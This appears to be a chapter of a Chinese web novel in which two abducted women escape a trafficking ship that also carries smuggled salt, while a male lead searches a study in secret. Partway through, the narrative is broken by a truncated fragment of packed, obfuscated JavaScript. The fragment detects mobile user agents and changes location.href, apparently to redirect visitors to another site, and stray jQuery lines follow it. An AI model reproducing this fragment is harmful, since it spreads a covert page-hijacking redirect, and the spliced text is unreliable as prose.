17. 共患难

作品:《女夫子

    再次醒来,傅瑶能感觉到手脚被束缚,绳索束缚的相当有技巧,越是挣扎就捆得越紧。


    周身发麻,难以动弹,入目漆黑,有潺潺水声以及行走在木板上时发出的沉闷动静。


    她这是……身处在船舱内?


    傅瑶咬牙缓慢挪动身子尝试摸索此处的状况,不知过了多久,她触碰到了一层阻碍。


    准确来说,是一个人。


    这船舱内还有其他人?


    傅瑶心乱如麻,怎么办,这人醒了没?


    应当如何摸清现在逃出去?


    倏尔她听到了由远及近的脚步声,有金锁转动的声音。


    她忙阖上眼,装作还未醒来。


    “呦,这次的货色不错啊,从哪拐来的?”略带戏谑轻浮,出自男子的嗓音。


    “随便拐的两个,这次定能赚笔好价钱。”


    “啧,看好了,别像上次那几个又跑了。”


    “知道了。”


    二人一面交谈确认无误后又退了出去。


    舱门重新落锁,死寂一片。


    *


    天边流徉着的浮云露出淡淡的红晕,云层翻滚,似白浪底的水波里鲤鱼翻涌。


    “唔。”


    空旷的书房内,传来一声沉闷的痛呼。


    诺大的府邸静谧的过分,光影暗淡。


    “啧,真是狼狈。”


    梁山提着药箱进来,轻易就找到靠着墙随意坐在墙角的江珩。


    “江大人不是最重礼节吗?也有这般狼狈的时候?”


    江珩没说话。


    蜿蜒的血痕触目惊心,伤口还在不断渗血,额上也暴出青筋。伤口颇深,股股渗血间他眯眼处理着伤势。


    分明看着便痛不可忍,他却咬牙坚持不吭一声。


    梁山轻嗤替他将伤口处理好。


    “行了,前两天才治好,可别又不行了。”


    江珩眼帘微抬,冷汗湿了衣襟,一声不吭。


    “啧,你们京都城的贵公子都像你那么死板吗?”


    江珩垂眸,阖眼。


    不是。


    并不是。


    他们都是马上英姿的好儿郎,恣意洒脱,但,江珩不是,他不是,也不能。


    他曾经羡慕过忙时读书闲暇时踏马游春的同僚,窗外天地春色,他捧着书卷,稍有失神夫子的戒尺便落下来。


    次数多了,他就不看了。


    收回思绪,江珩垂眸:“多谢。”


    “别了,你好好休息吧,这一趟出去也不知道去干什么了,弄的这一身伤。”


    梁山漫不经心,还是提了一嘴。


    “说说,干什么去了?”


    再一次,他阖眸,死寂一片。


    *


    是夜,正值夜深人静时,街道上打更人的声音刚刚落下,锣鼓敲响。


    “天干物燥,小心火烛。”


    一道幽魅暗影跳跃在房舍瓦当间,最终落在钱塘府的后院,避开守卫的人悄然钻入书房。


    四处张望确认无误,他轻手轻脚关上门。


    他此前来过几次,对这里的布局了如指掌。


    径直来到一个不起眼的案牍前,转动白瓷瓶,身侧的书架徐缓转动挪开,露出背后的暗格。


    沉闷的动静在寂静夜里格外明显。


    他取出里面的一串钥匙,挨个尝试大开书桌的金锁,转动的声响在寂静里尤为刺耳。


    江珩挨个试过去,只剩最后一个。


    这时,门外忽然有了动静和人声。


    “老爷,放心吧,都安排好了。”


    没有时间了。


    江珩四处张望,人影越来越近,每一声都走在人心尖上。


    门猝不及防被推开。


    来人四处张望,走到瓷器间挪动开关,见钥匙还在暗格里,点点头,复原一切后离开。


    江珩蹲在梁上,等人走了才翻窗离去,他用印泥饮下了钥匙轮廓,也在离去时被人察觉,好不容易甩掉人又撕扯伤口复发。


    江珩拉起衣裳,面无表情:“梁山,你帮我个忙。”


    “想都别想。”梁山漫不经心瞥他一眼。


    江珩仿若未闻递给他一张纸。


    “帮我,寻一个人。”


    正这时门外有喧闹声,江珩蹙眉。


    他素来喜静,不喜人在他书房外喧哗。


    如此放肆,不是江莹又是何人?


    她匆匆进来,不管不顾,眼眶微红。


    “兄长,玥姐姐,不见了。”


    *


    算着时辰,傅瑶粗略算了算也已过了五六个时辰了。


    事情是这样的,她自灵隐寺出来本想去绣庄询问掌柜下次何时去送绣品。


    未料路过一处巷子被人猝不及防拖了进去。


    再次醒来,就到了这里。


    钱塘素来通水运商货,若是尾随而来的水匪也该是早早离去,但眼下的情景她想不了太多。


    怎么办,如何逃出去。


    这才是当务之急。


    “有人吗?这是哪?”


    娇娇软软的女声,有些耳熟。


    总归是有了人,傅瑶动了动发麻的手脚:“姑娘,你现在怎么样?”


    那女郎受惊似的惊呼,沉重的撞击声回荡。


    “你是谁?这是哪里?”


    傅瑶心平气和:“姑娘别怕,我也是被拐来的。”


    女郎先是一怔,旋即啜泣:“拐?这是哪里?姑娘,你能动吗?”


    傅瑶毫无波澜:“不能。”


    她要是能动,她早跑了。


    那女郎哭了一会,开始冷静:“姑娘,你知道我们现在在哪吗?”


    “船舱,至于外面如何,我也不清楚。”


    傅瑶心平气和道出自己的猜测。


    女郎慢慢挪到她身旁,“姑娘,我方才弄掉了一支簪子,你试试能不能把这绳子磨断。”


    傅瑶微怔,不是因为这句话。


    而是她终于认出了这人是谁。


    柳玥,江珩上辈子心爱不已的姑娘。


    她感到有些复杂,若是江珩知晓自己的心上人造次劫难,只怕是不管不顾冲冠一怒为红颜也说不准。


    毕竟一向克己守礼的郎君能不顾外界眼光,不顾家中妻子也要将其迎入府中悉心照看。


    还有什么做不出来呢?


    那两人又来了,傅瑶已经摸清楚这两人每隔三个时辰就要来查看一次。


    待他们离去,傅瑶睁眼。


    那两人没有走远,就在不远处闲谈。


    “啧,这该死的御史管的真宽,往常两日便可送到扬州,如今还要等着过几日才能离开。”


    “别说了,等过几日上面安排好了我们就伪装官船神不知鬼不觉离开钱塘,到时候既能脱身还能得到一大笔银子。”


    “罢了罢了,若非是为了银钱谁愿意伺候啊。”


    声音越来越远了,傅瑶如遭雷击。


    上面?伪装官船?


    “呸,好个官匪勾结,真是该死。”


    女郎啐了一口,当真是好骂。


    后知后觉,女郎轻轻一笑,略有歉意:“姑娘,忘记问你的名讳了。吾名柳玥。”


    早已猜到的傅瑶无甚波澜:“傅瑶。”


    磨了一夜傅瑶终于磨断了手上的绳索,手腕红肿不堪,白皙的腕骨都磨出血丝。


    来不及多想,傅瑶解了脚上的束缚。


    浑身乏力发麻,她一时半会起不来,只等那如有蚁食的麻意稍缓,她不敢歇,忙不迭解了柳玥的束缚。


    她也不好受,金枝玉叶何时受过这种苦,哪怕是如此也只是轻轻啜泣一会。


    “傅姑娘,接下来怎么办?”


    接下来怎么办?傅瑶也不知道。


    “我有一个办法,不知道你敢不敢。”情况不容乐观,傅瑶决定剑走偏锋,但在那之前她还是先问了问柳玥。


    柳玥毫不犹豫:“你说。”


    再一次那两人来检查,二人躲在门后,门锁转动的动静每一下都落在心间激起惊涛骇浪。


    手脚乏力,但彼此仅隔着一步之遥对视。


    只有这一次机会,不成功便成仁。


    终于,门开了,那两人走了进来。


    柳玥不动声色将门关上,下一刻趁着这二人不注意,傅瑶将箱子费力举起朝着他们头顶砸下。


    沉闷的动静以及咒骂,又是一声重物落地,几声过后,昏暗的船舱内安静了下来。


    那两人昏迷过去,劫后余生的二人默默抽泣,到底是第一次下狠手见血,柳玥泣不成声。


    傅瑶摇摇晃晃直起身:“走,快走。”


    查探好情况,傅瑶蹲下身,摸索着。


    “你在找什么?”


    “钥匙。”傅瑶头也不抬。


    这么大的船,按着那两人曾说过的话她们都将被带到扬州当暗娼,既如此,若只有她二人,显然不切实际。


    柳玥也意识到了这点,扯开一点缝隙替她把风。


    终于,傅瑶从一人腰间摸到了钥匙。


    为了避免麻烦,傅瑶将船舱又上了锁,这里是甲板下面有十数个船舱,挨个打开里面关押的都是泪眼朦胧的女子。


    一个又一个堆挤在一处,手无缚鸡之力俨然就是待宰的羔羊。


    傅瑶心底暗骂幕后之人,和柳玥一起将那些姑娘的束缚解开,像是达成了共识,一群人一面观察一面将更多的姑娘解救。


    不敢轻举妄动,傅瑶从缝隙里窥探上层,时不时有守卫游走,船只停靠的地方很偏,一时半会辨别不出来。


    “傅姑娘。”柳玥开口,傅瑶回眸。


    她不知从何处得了两把匕首,拉着她走到一处不起眼的船舱内。


    傅瑶起初不明所以,直到柳玥掀开其中一个箱子傅瑶才明白过来,峨眉蹙起。


    “这是,盐?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995562|158850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >柳玥颔首不动声色又关了箱子:“方才我就觉得奇怪,其他船舱里关押的都是人,只有这里什么也没有。”


    闻听此言,傅瑶心底一沉。


    历朝历代都对盐有精准的把控要求,买卖私盐都要处以刑法,更何况是走私官盐,还是如此之多。


    “怎么回事,那两人哪去了?”


    有人来了,二人匆匆对视一眼,傅瑶抬脚轻轻将门又阖上,各自都等在暗处。


    因为不熟悉上层的情况她们不敢轻举妄动,其他女郎哪怕获救也缩在船舱内等待时机。


    脚步声越来越近了,黑暗里的五感被无限放大,傅瑶将匕首攥了又攥,紧了又紧。


    柳玥显然也不好受,千娇百宠养大的女郎,有朝一日手染血腥,换成任何一个上京城的贵女只怕早已下的泣不成声。


    柳玥攥紧匕首,屏住呼吸。


    倏尔有另一道声音响起,这一次的交谈很怪,叽里咕噜像是某种外族语,二人几句交谈以后,脚步声渐渐远了。


    傅瑶瘫软了身子,靠着门扉平复心绪。


    紊乱的心绪渐渐平息,傅瑶后知后觉品出不对来。


    外族人缘何会在钱塘?


    “傅姑娘,不敢赌吗?”


    柳玥倏尔开口,清凌凌的眸霜似的,不显娇贵,反添清冷。


    傅瑶反问:“你想怎么样?”


    *


    粉黛脂粉,莺歌燕舞不绝,觥筹交错中,男女调笑声十分放肆。


    富丽堂皇,金妆银裹,客人们握花掷酒,脂香粉腻,一派奢靡。


    傅瑶一袭盛装,烟蓝色舞裙不觉轻佻,戴了面纱被人拉去喂他饮酒,傅瑶面里顺从目光却不自主落在门外。


    与柳玥四目相对,略略点头。


    傅瑶收回视线,佯装嗔怪:“大爷真是的,这酒便不喝了,奴家还有事呢。”


    那人骨头都酥了摩挲着那风流如玉的的柔荑,“美人,从前怎么没见过你啊?”


    傅瑶眼底一闪而过的厌恶,但还不能撕破脸,轻轻推开他,“奴家还有事,一会再来找大爷。”


    在无人处与柳玥汇合,她亦换了身水蓝色舞裙,蒙了面纱,轻轻颔首。


    “都准备好了。”


    傅瑶垂眸,接过酒壶朝着巡逻的侍卫走去。


    守卫怒斥:“干什么的,不怎么这里不能随便来吗?”


    傅瑶嗔怪:“奴家是奉了上头的命令,特地来给夜送酒水的。”


    守卫根本不吃她这套:“现在是什么时候不知道吗?端走。”


    傅瑶依旧笑盈盈:“奴家自然知晓,但爷这般奴家不好交差,您也别为难奴家。”


    美人眉梢轻蹙,哪怕覆着面纱,仅是那眼眸身姿也瞧得出是个美人胚子。


    守卫生了怜惜但依旧拒绝饮酒。


    傅瑶心底厌烦,善解人意地叹息。


    “罢了,爷有这心是好的,但爷总要给奴家一个交差的才是。”


    “呵,你想怎么样。”


    傅瑶稍一思忖,转变了策略:“爷允奴家倒了些酒水,奴家回去上头人一握便知,自也不会怪奴家。”


    守卫想了想便允了。


    傅瑶走上前,轻抬酒壶趁着他不注意一个“失手”将酒壶跌入江水中。


    “这可如何是好,官爷,奴家,奴家不想受罚。”美人啜泣,眼尾霞红,轻轻颤着肩。


    守卫轻嗤:“瞧瞧这哭的天可怜见的,爷瞧瞧。”


    趁着他张望,傅瑶趁其不备猛地抽出匕首扎入其脖颈,那人吃痛要反击,等候已久的柳玥从暗处冲出来。


    二人合力将那守卫推了下去。


    “没多少时间了,快。”


    傅瑶早观察到此处每三炷香换一人守卫,刚才虚与委蛇耗费太久,二人合力掀开下层入口。


    *


    “快,别让她们跑了,快。”


    船上一阵慌乱,灯火燃起,甲板上一时亮如白昼刺目晃眼,点亮静谧幽暗的江水。


    寂静的夜里江水冷的刺骨,哪怕此刻是盛夏,但水温依旧是冷的,紧紧贴着船身将大半堙没在江水里。


    幸亏此处离岸边并不远,钱塘人多识水性,不论男女或多或少都会一些,因而一群人小心翼翼会水的就带着不会水的先游到岸边。


    借着芦苇丛遮掩缓过劲来迅速往丘陵跑去。


    “快,她们在这里。”


    头顶倏尔亮起灯火,白的刺目晃眼,心底一沉,傅瑶心绪一沉拉着柳玥几步从浅水区跑上去。


    “快,先别倒下。”


    眼瞅着柳玥因体力不支栽倒,傅瑶匆匆将她拉起来,二人浑身湿漉漉,乏力不已。


    船上已经有人跳下水往这边游过来,江面距离岸边仅有二三十米,会水的人不消一时便会追上来。


    柳玥摇头推开她:“你别管我了。”


    傅瑶咬牙生拉硬拽将她拖起来,借着月华跑起来:“我不可能弃你于不顾。”